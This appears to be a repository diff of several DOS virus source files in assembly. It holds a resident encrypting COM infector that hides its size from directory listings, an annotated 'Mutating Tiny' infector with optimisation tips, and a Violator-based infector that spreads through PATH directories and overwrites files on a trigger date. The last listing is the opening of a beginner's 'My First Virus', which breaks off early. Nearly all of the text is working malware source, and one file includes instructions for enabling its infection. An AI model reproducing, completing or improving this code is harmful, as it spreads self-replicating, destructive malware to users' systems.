||||
|
||||
;***************************************************************************
|
||||
|
||||
old_21: dw 0h,0h
|
||||
buffer db 0cdh,20h,0,0,0 ;Buffer to hold the infected
|
||||
old_date: dw 0 ;files 5 bytes
|
||||
old_time: dw 0
|
||||
jump_add: db 0E9h
|
||||
db 0,0
|
||||
db 0F2h,42h
|
||||
|
||||
new_21:
|
||||
cmp ax,0f242h ;Are we going resident?
|
||||
je SAY_YES
|
||||
cmp ax,4b00h ;Are we executing?
|
||||
je exec
|
||||
cmp ah,11h
|
||||
je hide_size ;doing a DIR??
|
||||
cmp ah,12h
|
||||
je hide_size
|
||||
jmp do_old
|
||||
exec: jmp exec2
|
||||
SAY_YES:mov bx,0f242h
|
||||
do_old: jmp dword ptr cs:[(old_21-vstart)] ;If not then do old int 21
|
||||
ret
|
||||
|
||||
hide_size:
|
||||
pushf
|
||||
push cs
|
||||
call do_old ;get the current FCB
|
||||
cmp al,00h
|
||||
jnz dir_error ;jump if bad FCB
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
push ds
|
||||
push es ;undocumented get FCB
|
||||
mov ah,51h ;location
|
||||
int 12h
|
||||
mov es,bx ;get info from FCB
|
||||
cmp bx,es:[16h]
|
||||
jnz not_inf
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;get DTA
|
||||
int 12h
|
||||
pop ax
|
||||
inc al ;Check for extended FCB
|
||||
jnz normal_fcb
|
||||
add bx,7h
|
||||
normal_fcb:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1fh
|
||||
xor al,01h ;check for 2 seconds
|
||||
jnz not_inf
|
||||
|
||||
and byte ptr es:[bx+17h],0e0h ;subtract virus size
|
||||
sub es:[bx+1dh],(vend-vstart)
|
||||
sbb es:[bx+1fh],ax
|
||||
not_inf:pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
dir_error:
|
||||
iret
|
||||
|
||||
exec2: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
|
||||
call infect ;Lets infect the file!!
|
||||
|
||||
backup: pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
jmp do_old ;go back to original load
|
||||
|
||||
|
||||
infect:
|
||||
mov ax,3d02h
|
||||
int 12h
|
||||
jc quit1 ;open the file
|
||||
|
||||
|
||||
mov bx,ax
|
||||
|
||||
A_open: push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx ;move file pointer to begining
|
||||
int 12h ;(FOR LATER MODIFICATION ONLY)
|
||||
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,5h
|
||||
mov dx,(buffer-vstart) ;load in the first 5 bytes
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)],5A4Dh ;check to see if its an
|
||||
je quit1 ;EXE
|
||||
|
||||
cmp word ptr cs:[(buffer-vstart)+3],42F2h
|
||||
je quit1
|
||||
;if so then its infected
|
||||
|
||||
|
||||
jmp qqqq
|
||||
|
||||
quit1: jmp quit2
|
||||
|
||||
|
||||
qqqq: mov ax,5700h
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
mov word ptr cs:[(old_time-vstart)],cx ;get the files time
|
||||
mov word ptr cs:[(old_date-vstart)],dx ;and date
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx ;put file pointer at end
|
||||
int 12h
|
||||
jc quit1
|
||||
|
||||
|
||||
|
||||
mov cx,ax
|
||||
sub cx,3 ;write jump lenght to jump buffer
|
||||
add cx,4
|
||||
mov word ptr cs:[(jump_add+1-vstart)],cx
|
||||
|
||||
|
||||
|
||||
mov ah,2ch ;get random number for interrupt
|
||||
int 12h ;swapping
|
||||
cmp dh,03h ;don't like INT 3'S (1 byte only not 2)
|
||||
jne write_key
|
||||
inc dh
|
||||
|
||||
|
||||
write_key:
|
||||
|
||||
mov word ptr cs:[key-vstart],cx ;save encryption key
|
||||
mov byte ptr cs:[i_key-vstart+1],dh ;save interupt key
|
||||
|
||||
mov si,(check-vstart) ;write from check to end
|
||||
mov di,(vend-vstart)
|
||||
mov cx,(vend-check)
|
||||
|
||||
topper: mov al,byte ptr cs:[(si)]
|
||||
cmp al,0cdh
|
||||
je changeit
|
||||
top2: mov byte ptr cs:[(di)],al
|
||||
tor: inc si ;this "mutating routine" is kind
|
||||
inc di ;messy but i'll improve it for version
|
||||
loop topper ;2.0
|
||||
jmp crypt
|
||||
changeit:
|
||||
mov byte ptr cs:[(di)],al
|
||||
inc di
|
||||
inc si
|
||||
dec cx
|
||||
mov al,byte ptr cs:[(si)]
|
||||
cmp al,21h
|
||||
jne top2
|
||||
mov byte ptr cs:[(di)],dh
|
||||
jmp tor
|
||||
|
||||
quit: jmp quit2
|
||||
|
||||
|
||||
crypt:
|
||||
|
||||
|
||||
|
||||
mov cx,(vend-check)
|
||||
mov dh,byte ptr cs:[key-vstart]
|
||||
mov si,(vend-vstart)
|
||||
lop: mov ah,byte ptr cs:[si]
|
||||
xor ah,dh ;Encrypt the code
|
||||
mov byte ptr cs:[si],ah
|
||||
inc si
|
||||
loop lop
|
||||
|
||||
|
||||
mov cx,(check-vstart)
|
||||
mov ah,40h ;write decrypting routine
|
||||
mov dx,(vstart-vstart) ;to file first
|
||||
int 12h
|
||||
jc quit
|
||||
|
||||
|
||||
mov cx,(vend-check) ;write the encrypted code
|
||||
mov ah,40h ; to the end of the file
|
||||
mov dx,(vend-vstart)
|
||||
int 12h
|
||||
jc quit
|
||||
|
||||
|
||||
mov ax,4200h ;move file pointer to the
|
||||
xor cx,cx ;begining to write the JMP
|
||||
xor dx,dx
|
||||
int 12h
|
||||
|
||||
|
||||
mov cx,5
|
||||
mov ah,40h ;write the JMP top the file
|
||||
mov dx,(jump_add-vstart)
|
||||
int 12h
|
||||
|
||||
jc quit
|
||||
|
||||
mov ax,5701h
|
||||
mov word ptr cx,cs:[(old_time-vstart)] ;Restore old time,date
|
||||
mov word ptr dx,cs:[(old_date-vstart)]
|
||||
|
||||
and cl,0e0H
|
||||
inc cl ;change seconds to 2
|
||||
int 12h
|
||||
|
||||
|
||||
mov ah,3eh
|
||||
int 12h
|
||||
|
||||
|
||||
quit2: ret
|
||||
|
||||
|
||||
vend equ $
|
||||
nop
|
||||
nop
|
||||
|
||||
seg_a ends
|
||||
end start
|
||||
|
||||
|
||||
;WELL THATS IT.
|
||||
If ya have any questions feel free to contact me on -=+ FRONT 242 +=- (CANADA)
|
|
@ -0,0 +1,251 @@
|
|||
muttiny segment byte public
|
||||
assume cs:muttiny, ds:muttiny
|
||||
|
||||
org 100h
|
||||
|
||||
start: db 0e9h, 5, 0 ; jmp startvir
|
||||
restorehere: int 20h
|
||||
idword: dw 990h
|
||||
; The next line is incredibly pointless. It is a holdover from one
|
||||
; of the original TINYs, where the id was 7, 8, 9. The author can
|
||||
; easily save one byte merely by deleting this line.
|
||||
db 09h
|
||||
startvir:
|
||||
call oldtrick ; Standard location-finder
|
||||
oldtrick: pop si
|
||||
; The following statement is a bug -- well, not really a bug, just
|
||||
; extraneous code. The value pushed on the stack in the following
|
||||
; line is NEVER popped off. This is messy programming, as one byte
|
||||
; could be saved by removing the statement.
|
||||
push si
|
||||
sub si,offset oldtrick
|
||||
call encrypt ; Decrypt virus
|
||||
call savepsp ; and save the PSP
|
||||
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
|
||||
; See the procedures at the end for further details.
|
||||
jmp short findencryptval ; Go to the rest of the virus
|
||||
; The next line is another example of messy programming -- it is a
|
||||
; NOP inserted by MASM during assembly. Running this file through
|
||||
; TASM with the /m2 switch should eliminate such "fix-ups."
|
||||
nop
|
||||
; The next line leaves me guessing as to the author's true intent.
|
||||
db 0
|
||||
|
||||
encryptval dw 0h
|
||||
|
||||
encrypt:
|
||||
push bx ; Save handle
|
||||
; The following two lines of code could be condensed into one:
|
||||
; lea bx, [si+offset startencrypt]
|
||||
; Once again, poor programming style, though there's nothing wrong
|
||||
; with the code.
|
||||
mov bx,offset startencrypt
|
||||
add bx,si
|
||||
; Continueencrypt is implemented as a jmp-type loop. Although it's
|
||||
; fine to code it this way, it's probably easier to code using the
|
||||
; loop statement. Upon close inspection, one finds the loop to be
|
||||
; flawed. Note the single inc bx statement. This essentially makes
|
||||
; the encryption value a a byte instead of a word, which decreases
|
||||
; the number of mutations from 65,535 to 255. Once again, this is
|
||||
; just poor programming, very easily rectified with another inc bx
|
||||
; statement. Another optimization could be made. Use a
|
||||
; mov dx, [si+encryptval]
|
||||
; to load up the encryption value before the loop, and replace the
|
||||
; three lines following continueencrypt with a simple:
|
||||
; xor word ptr [bx], dx
|
||||
continueencrypt:
|
||||
mov ax,[bx]
|
||||
xor ax,word ptr [si+encryptval]
|
||||
mov [bx],ax
|
||||
inc bx
|
||||
; The next two lines should be executed BEFORE continueencrypt. As
|
||||
; it stands right now, they are recalculated every iteration which
|
||||
; slows down execution somewhat. Furthermore, the value calculated
|
||||
; is much too large and this increases execution time. Yet another
|
||||
; improvement would be the merging of the mov/add pair to the much
|
||||
; cleaner lea cx, [si+offset endvirus].
|
||||
mov cx,offset veryend ; Calculate end of
|
||||
add cx,si ; encryption: Note
|
||||
cmp bx,cx ; the value is 246
|
||||
jle continueencrypt ; bytes too large.
|
||||
pop bx
|
||||
ret
|
||||
writerest: ; Tack on the virus to the
|
||||
call encrypt ; end of the file.
|
||||
mov ah,40h
|
||||
mov cx,offset endvirus - offset idword
|
||||
lea dx,[si+offset idword] ; Write starting from the id
|
||||
int 21h ; word
|
||||
call encrypt
|
||||
ret
|
||||
|
||||
startencrypt:
|
||||
; This is where the encrypted area begins. This could be moved to
|
||||
; where the ret is in procedure writerest, but it is not necessary
|
||||
; since it won't affect the "scannability" of the virus.
|
||||
|
||||
findencryptval:
|
||||
mov ah,2Ch ; Get random #
|
||||
int 21h ; CX=hr/min dx=sec
|
||||
; The following chunk of code puzzles me. I admit it, I am totally
|
||||
; lost as to its purpose.
|
||||
cmp word ptr [si+offset encryptval],0
|
||||
je step_two
|
||||
cmp word ptr [si+offset encryptval+1],0
|
||||
je step_two
|
||||
cmp dh,0Fh
|
||||
jle foundencryptionvalue
|
||||
step_two: ; Check to see if any
|
||||
cmp dl,0 ; part of the encryption
|
||||
je findencryptval ; value is 0 and if so,
|
||||
cmp dh,0 ; find another value.
|
||||
je findencryptval
|
||||
mov [si+offset encryptval],dx
|
||||
foundencryptionvalue:
|
||||
mov bp,[si+offset oldjmp] ; Set up bp for
|
||||
add bp,103h ; jmp later
|
||||
lea dx,[si+filemask] ; '*.COM',0
|
||||
xor cx,cx ; Attributes
|
||||
mov ah,4Eh ; Find first
|
||||
tryanother:
|
||||
int 21h
|
||||
jc quit_virus ; If none found, exit
|
||||
|
||||
mov ax,3D02h ; Open read/write
|
||||
mov dx,9Eh ; In default DTA
|
||||
int 21h
|
||||
|
||||
mov cx,3
|
||||
mov bx,ax ; Swap file handle register
|
||||
lea dx,[si+offset buffer]
|
||||
mov di,dx
|
||||
call read ; Read 3 bytes
|
||||
cmp byte ptr [di],0E9h ; Is it a jmp?
|
||||
je infect
|
||||
findnext:
|
||||
mov ah,4Fh ; If not, find next
|
||||
jmp short tryanother
|
||||
infect:
|
||||
mov ax,4200h ; Move file pointer
|
||||
mov dx,[di+1] ; to jmp location
|
||||
mov [si+offset oldjmp],dx ; and save old jmp
|
||||
xor cx,cx ; location
|
||||
call int21h
|
||||
jmp short skipcheckinf
|
||||
; Once again, we meet an infamous MASM-NOP.
|
||||
nop
|
||||
; I don't understand why checkinf is implemented as a procedure as
|
||||
; it is executed but once. It is a waste of code space to do such
|
||||
; a thing. The ret and call are both extra, wasting four bytes. An
|
||||
; additional three bytes were wasted on the JMP skipping checkinf.
|
||||
; In a program called "Tiny," a wasted seven bytes is rather large
|
||||
; and should not exist. I have written a virus of half the length
|
||||
; of this virus which is a generic COM infector. There is just too
|
||||
; too much waste in this program.
|
||||
checkinf:
|
||||
cmp word ptr [di],990h ; Is it already
|
||||
je findnext ; infected?
|
||||
; The je statement above presents another problem. It leaves stuff
|
||||
; on the stack from the call. This is, once again, not a critical
|
||||
; error but nevertheless it is extremely sloppy behavior.
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
mov ax,4202h
|
||||
call int21h ; Goto end of file
|
||||
ret
|
||||
skipcheckinf:
|
||||
mov cx,2
|
||||
mov dx,di
|
||||
call read ; read 2 bytes
|
||||
call checkinf
|
||||
; The next check is extraneous. No COM file is larger than 65,535
|
||||
; bytes before infection simply because it is "illegal." Yet ano-
|
||||
; ther waste of code. Even if one were to use this useless check,
|
||||
; it should be implemented, to save space, as or dx, dx.
|
||||
cmp dx,0 ; Check if too big
|
||||
jne findnext
|
||||
|
||||
cmp ah,0FEh ; Check again if too big
|
||||
jae findnext
|
||||
mov [si+storejmp],ax ; Save new jmp
|
||||
call writerest ; location
|
||||
mov ax,4200h ; Go to offset
|
||||
mov dx,1 ; 1 in the file
|
||||
xor cx,cx
|
||||
call int21h
|
||||
|
||||
mov ah,40h ; and write the new
|
||||
mov cx,2 ; jmp location
|
||||
lea dx,[si+storejmp]
|
||||
call int21h
|
||||
; I think it is quite obvious that the next line is pointless. It
|
||||
; is a truly moronic waste of two bytes.
|
||||
jc closefile
|
||||
closefile:
|
||||
mov ah,3Eh ; Close the file
|
||||
call int21h
|
||||
quit_virus:
|
||||
call restorepsp
|
||||
jmp bp
|
||||
|
||||
read:
|
||||
mov ah,3Fh ; Read file
|
||||
; I do not understand why all the int 21h calls are done with this
|
||||
; procedure. It is a waste of space. A normal int 21h call is two
|
||||
; bytes long while it's three bytes just to call this procedure!
|
||||
int21h:
|
||||
int 21h
|
||||
ret
|
||||
|
||||
db 'Made in England'
|
||||
|
||||
; Note: The comments for savepsp also apply to restorepsp.
|
||||
|
||||
; This code could have easily been changed to a set active DTA INT
|
||||
; 21h call (AH = 1Ah). It would have saved many, many bytes.
|
||||
|
||||
savepsp:
|
||||
mov di,0
|
||||
; The following is a bug. It should be
|
||||
; mov cx, 50h
|
||||
; since the author decided to use words instead of bytes.
|
||||
mov cx,100h
|
||||
push si
|
||||
; The loop below is dumb. A simple rep movsw statement would have
|
||||
; sufficed. Instead, countless bytes are wasted on the loop.
|
||||
storebytes:
|
||||
mov ax,[di]
|
||||
mov word ptr [si+pspstore],ax
|
||||
add si,2
|
||||
add di,2
|
||||
loop storebytes
|
||||
pop si
|
||||
ret
|
||||
|
||||
restorepsp:
|
||||
mov di,0
|
||||
mov cx,100h ; Restore 200h bytes
|
||||
push si
|
||||
restorebytes:
|
||||
mov ax,word ptr [si+pspstore]
|
||||
mov [di],ax
|
||||
add si,2
|
||||
add di,2
|
||||
loop restorebytes
|
||||
pop si
|
||||
ret
|
||||
|
||||
oldjmp dw 0
|
||||
filemask db '*.COM',0
|
||||
idontknow1 db 66h ; Waste of one byte
|
||||
buffer db 00h, 00h, 01h ; Waste of three bytes
|
||||
storejmp dw 0 ; Waste of two bytes
|
||||
; endvirus should be before idontknow1, thereby saving six bytes.
|
||||
endvirus:
|
||||
idontknow2 db ?, ?
|
||||
pspstore db 200 dup (?) ; Should actually be
|
||||
idontknow3 db 2ch dup (?) ; 100h bytes long.
|
||||
veryend: ; End of encryption
|
||||
muttiny ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,402 @@
|
|||
; this code ataches to all .com files in the current dir then the path then
|
||||
; the root dir then on 9-16 it does things to the same files.
|
||||
; it set's them to 10:00am 9-16-91 and set's the file size to
|
||||
; how many years since that date basically your harmless little
|
||||
; iritating virus mostly getting at the little utilites in the path..
|
||||
; and eventually command.com based originally on violator strain b
|
||||
; ( which is a nasty one formats randomly) it has no name
|
||||
; name it what you will...
|
||||
|
||||
; change fspec_ to '*.COM' to make it work.. set in test mode right now..
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG $+0100H ; Set ORG to 100H plus our own
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP ;15 NOP's to place JMP Header
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
|
||||
v_start equ $
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat
|
||||
CLD
|
||||
NOP
|
||||
MOV SI,DX ; setup the data to write out
|
||||
ADD SI,first_3
|
||||
MOV CX,4
|
||||
MOV DI,OFFSET 100H
|
||||
REPZ MOVSB
|
||||
MOV SI,DX
|
||||
|
||||
PUSH ES
|
||||
MOV AH,2FH ; get DTA
|
||||
INT 21H ; save old dta
|
||||
NOP
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES
|
||||
POP ES
|
||||
MOV DX,dta ; DX = our DTA
|
||||
ADD DX,SI
|
||||
MOV AH,1AH ;set DTA address
|
||||
INT 21H
|
||||
NOP
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
XOR DI,DI ; zero DI
|
||||
|
||||
MOV AH,2AH ;Get date info
|
||||
INT 21h ;Call DOS
|
||||
CMP DH,9 ;Check to see if it is the right month
|
||||
NOP
|
||||
JE day_check ;If equal, check day
|
||||
JMP find_Path ;if not, go on with infection
|
||||
|
||||
day_check:
|
||||
CMP DL,16 ;Check to see if today is the day
|
||||
JE Set_Delete ;If yes, then check day of week
|
||||
JMP find_Path ;If not, then go on with infection
|
||||
|
||||
Set_Delete:
|
||||
SUB CX,7C7H ; figure file size
|
||||
MOV [SI+B_day],CX
|
||||
|
||||
MOV AL,1
|
||||
MOV [SI+del_f],AL ; set del flag
|
||||
|
||||
find_path:
|
||||
|
||||
POP SI
|
||||
PUSH SI ;clear SI
|
||||
ADD SI,env_str ; env string in SI
|
||||
NOP
|
||||
LODSB ; load byte into AL
|
||||
MOV CX,OFFSET 8000H
|
||||
REPNZ SCASB ; do this 128 or 32768 skip 128?
|
||||
|
||||
MOV CX,4
|
||||
|
||||
check_next_4: ; load byte into AL
|
||||
LODSB ; four times
|
||||
SCASB
|
||||
;
|
||||
; The JNZ line specifies that if there is no PATH present, then we will go
|
||||
; along and infect the ROOT directory on the default drive.
|
||||
;
|
||||
JNZ find_path ;If not path, then go to ROOT dir
|
||||
LOOP check_next_4 ;Go back and check for more chars
|
||||
POP SI ;Load in PATH again to look for chars
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc ;Put the filename in wrk_spc
|
||||
MOV BX,SI
|
||||
ADD SI,wrk_spc
|
||||
MOV DI,SI
|
||||
JMP SHORT slash_ok
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0
|
||||
JNZ found_subdir
|
||||
JMP all_done
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad]
|
||||
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
|
||||
|
||||
move_subdir:
|
||||
LODSB ;To tedious work to move into subdir
|
||||
CMP AL,';' ;Does it end with a ; charachter?
|
||||
JZ moved_one ;if yes, then we found a subdir
|
||||
CMP AL,0 ;is it the end of the path?
|
||||
JZ moved_last_one ;if yes, then we save the PATH
|
||||
STOSB ;marker into DI for future reference
|
||||
JMP SHORT move_subdir
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
moved_one:
|
||||
POP BX ;BX is where the virus data is
|
||||
POP DS ;Restore DS so that we can do stuph
|
||||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||||
NOP
|
||||
CMP CH,'\' ;Check to see if it ends in \
|
||||
JZ slash_ok ;If yes, then it's OK
|
||||
MOV AL,'\' ;if not, then add one...
|
||||
STOSB ;store the sucker
|
||||
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Move the filename into workspace
|
||||
MOV SI,BX ;Restore the original SI value
|
||||
ADD SI,f_spec ;Point to COM file victim
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move victim into workspace
|
||||
NOP
|
||||
MOV SI,BX
|
||||
MOV AH,4EH ; find first again?
|
||||
MOV DX,wrk_spc ; file name
|
||||
ADD DX,SI ; DX is ... THE VICTIM!!!
|
||||
MOV CX,3 ; Attributes of Read Only or Hidden OK
|
||||
INT 21H
|
||||
NOP
|
||||
JMP SHORT find_first
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH ; find next file
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1EH ;Mask to remove all but seconds
|
||||
CMP AL,1EH ;60 seconds
|
||||
NOP
|
||||
JZ check_day
|
||||
JMP go_on
|
||||
check_day:
|
||||
XOR AL,AL
|
||||
CMP AL,[SI+del_f]
|
||||
JE find_next
|
||||
go_on:
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;to big 64k?
|
||||
JA find_next ;If too long, find another one
|
||||
CMP WORD PTR [SI+dta_len],0AH ;too small 10bytes?
|
||||
JB find_next ;Then go find another one
|
||||
NOP
|
||||
MOV DI,[SI+nam_ptr]
|
||||
PUSH SI
|
||||
ADD SI,dta_nam
|
||||
|
||||
more_chars:
|
||||
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H ;get file attr
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
NOP
|
||||
MOV [SI+old_attr],CX ; save file attr
|
||||
MOV AX,OFFSET 4301H ; set file attr
|
||||
AND CX,OFFSET 0FFFEH ; set file attr to 11111110B
|
||||
; MOV DX,wrk_spc
|
||||
; ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
check_delete:
|
||||
XOR AL,AL
|
||||
CMP AL,[SI+del_f]
|
||||
JE open
|
||||
|
||||
create:
|
||||
MOV AX,OFFSET 3C00H ;create nornal file
|
||||
; MOV DX,wrk_spc ;
|
||||
; ADD DX,SI ;
|
||||
INT 21H
|
||||
NOP
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV CX,[SI+b_day]
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
NOP
|
||||
|
||||
MOV AX,OFFSET 5701H ;Set Date Time
|
||||
MOV CX,05000H ;Time 10:00am
|
||||
|
||||
MOV DX,01730H ;Date 9-16-91
|
||||
INT 21H
|
||||
NOP
|
||||
|
||||
JMP Fix_attr
|
||||
|
||||
open:
|
||||
MOV AX,OFFSET 3D02H ; open read/write
|
||||
; MOV DX,wrk_spc ;
|
||||
; ADD DX,SI ;
|
||||
INT 21H
|
||||
JNB Get_td
|
||||
JMP fix_attr
|
||||
|
||||
Get_td:
|
||||
MOV BX,AX ; AX is the file handle
|
||||
MOV AX,OFFSET 5700H ;get date time
|
||||
INT 21H
|
||||
NOP
|
||||
MOV [SI+old_tim],CX ;Save file time
|
||||
MOV [SI+ol_date],DX ;Save the date
|
||||
; MOV AH,2CH ; get system time?
|
||||
; INT 21H
|
||||
; AND DH,7
|
||||
|
||||
XOR AL,AL ; should i infect or just get out
|
||||
CMP AL,[SI+del_f]
|
||||
JE infect
|
||||
jmp fix_attr
|
||||
|
||||
|
||||
infect:
|
||||
|
||||
MOV AH,3FH ; read file
|
||||
MOV CX,3 ; three chars
|
||||
MOV DX,first_3 ; put those three on first_3
|
||||
ADD DX,SI
|
||||
INT 21H ;Save first 3 bytes into the data area
|
||||
NOP
|
||||
|
||||
JB fix_time_stamp ; can't read go here
|
||||
CMP AX,3 ;is ax 3?
|
||||
JNZ fix_time_stamp ;if three wern't read go here
|
||||
MOV AX,OFFSET 4202H ; move file pointer offset from end
|
||||
XOR CX,CX ; 0 chars
|
||||
XOR DX,DX ; data buffer
|
||||
INT 21H ; read file
|
||||
JB fix_time_stamp ; can't read go here
|
||||
MOV CX,AX ; mov the error code into CX
|
||||
SUB AX,3 ; subtract ax from 3?
|
||||
MOV [SI+jmp_dsp],AX ; 0
|
||||
ADD CX,OFFSET c_len_y ; 100H more that codelen
|
||||
MOV DI,SI
|
||||
SUB DI,OFFSET c_len_x ; two less that codelen
|
||||
|
||||
MOV [DI],CX
|
||||
MOV AH,40H ;Write file
|
||||
MOV CX,virlen
|
||||
|
||||
MOV DX,SI
|
||||
SUB DX,OFFSET codelen
|
||||
INT 21H ;Write file
|
||||
JB fix_time_stamp
|
||||
CMP AX,OFFSET virlen
|
||||
NOP
|
||||
JNZ fix_time_stamp
|
||||
MOV AX,OFFSET 4200H ;move file poniter to begin
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H ;Write file
|
||||
JB fix_time_stamp
|
||||
MOV AH,40H ;Write file
|
||||
MOV CX,3
|
||||
MOV DX,SI
|
||||
ADD DX,jmp_op ; write jmp to us at beginging
|
||||
INT 21H ;Write file
|
||||
|
||||
fix_time_stamp:
|
||||
MOV DX,[SI+ol_date]
|
||||
MOV CX,[SI+old_tim]
|
||||
AND CX,OFFSET 0FFE0H ; mask hours and mins?
|
||||
OR CX,1EH ; 60 seconds
|
||||
MOV AX,OFFSET 5701H ;set date time
|
||||
INT 21H
|
||||
MOV AH,3EH ; close file
|
||||
INT 21H
|
||||
|
||||
fix_attr:
|
||||
MOV AX,OFFSET 4301H ;set file attr
|
||||
MOV CX,[SI+old_attr]
|
||||
MOV DX,wrk_spc
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
all_done:
|
||||
|
||||
PUSH DS
|
||||
MOV AH,1AH ; set DTA address
|
||||
MOV DX,[SI+old_dta]
|
||||
MOV DS,[SI+old_dts]
|
||||
INT 21H
|
||||
POP DS
|
||||
|
||||
quit:
|
||||
POP CX
|
||||
XOR AX,AX ;XOR values so that we will give the
|
||||
XOR BX,BX ;poor sucker a hard time trying to
|
||||
XOR DX,DX ;reassemble the source code if he
|
||||
XOR SI,SI ;decides to dissassemble us.
|
||||
MOV DI,OFFSET 0100H
|
||||
PUSH DI
|
||||
XOR DI,DI
|
||||
RET 0FFFFH ;Return back to the beginning
|
||||
;of the program
|
||||
|
||||
vir_dat EQU $
|
||||
|
||||
olddta_ DW 0
|
||||
olddts_ DW 0
|
||||
oldtim_ DW 0
|
||||
oldate_ DW 0
|
||||
oldattr_ DW 0
|
||||
first3_ EQU $
|
||||
NOP
|
||||
INT 20H
|
||||
NOP
|
||||
jmpop_ DB 0E9H
|
||||
jmpdsp_ DW 0
|
||||
fspec_ DB '*.$@$',0 ; change to *.COM to make it work
|
||||
pathad_ DW 0
|
||||
namptr_ DW 0
|
||||
envstr_ DB 'PATH='
|
||||
wrkspc_ DB 40h dup (0)
|
||||
dta_ DB 16h dup (0)
|
||||
dtatim_ DW 0,0
|
||||
dtalen_ DW 0,0
|
||||
dtanam_ DB 0Dh dup (0)
|
||||
delf_ DB 0
|
||||
BDay_ DB 0
|
||||
lst_byt EQU $
|
||||
virlen = lst_byt - v_start
|
||||
codelen = vir_dat - v_start
|
||||
c_len_x = vir_dat - v_start - 2
|
||||
c_len_y = vir_dat - v_start + 100H
|
||||
old_dta = olddta_ - vir_dat
|
||||
old_dts = olddts_ - vir_dat
|
||||
old_tim = oldtim_ - vir_dat
|
||||
ol_date = oldate_ - vir_dat
|
||||
old_attr = oldattr_ - vir_dat
|
||||
first_3 = first3_ - vir_dat
|
||||
jmp_op = jmpop_ - vir_dat
|
||||
jmp_dsp = jmpdsp_ - vir_dat
|
||||
f_spec = fspec_ - vir_dat
|
||||
path_ad = pathad_ - vir_dat
|
||||
nam_ptr = namptr_ - vir_dat
|
||||
env_str = envstr_ - vir_dat
|
||||
wrk_spc = wrkspc_ - vir_dat
|
||||
dta = dta_ - vir_dat
|
||||
dta_tim = dtatim_ - vir_dat
|
||||
dta_len = dtalen_ - vir_dat
|
||||
dta_nam = dtanam_ - vir_dat
|
||||
del_f = delf_ - vir_dat
|
||||
B_Day = bday_ - vir_dat
|
||||
CODE ENDS
|
||||
END VCODE
|
||||
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
;******************************************************************
|
||||
;* *
|
||||
;* My First Virus, a simple non-overwriting COM infector *
|
||||
;* *
|
||||
;* by, Solomon *
|
||||
;* *
|
||||
;******************************************************************
|
||||
|
||||
.model tiny ; Memory model
|
||||
.code ; Start Code
|
||||
org 100h ; Start of COM file
|
||||
|
||||
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
|
||||
|
||||
START_VIRUS proc near ; Real start of Virus
|
||||
call FIND_OFFSET
|
||||
|
||||
; Calculate change in offset from host program.
|
||||
|
||||
FIND_OFFSET: pop bp ; BP holds current IP
|
||||
sub bp, offset FIND_OFFSET ; Calculate net change
|
||||
; Change BP to start of
|
||||
; virus code
|
||||
|
||||
; Restore original bytes to the infected program.
|
||||
|
||||
lea si,[bp+ORIG_START] ; Restore original 3 bytes
|
||||
mov di,100h ; to 100h, start of file
|
||||
push di ; Copy 3 bytes
|
||||
movsw
|
||||
movsb
|
||||
|
||||
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
|
||||
; original command line parameters.
|
||||
|
||||
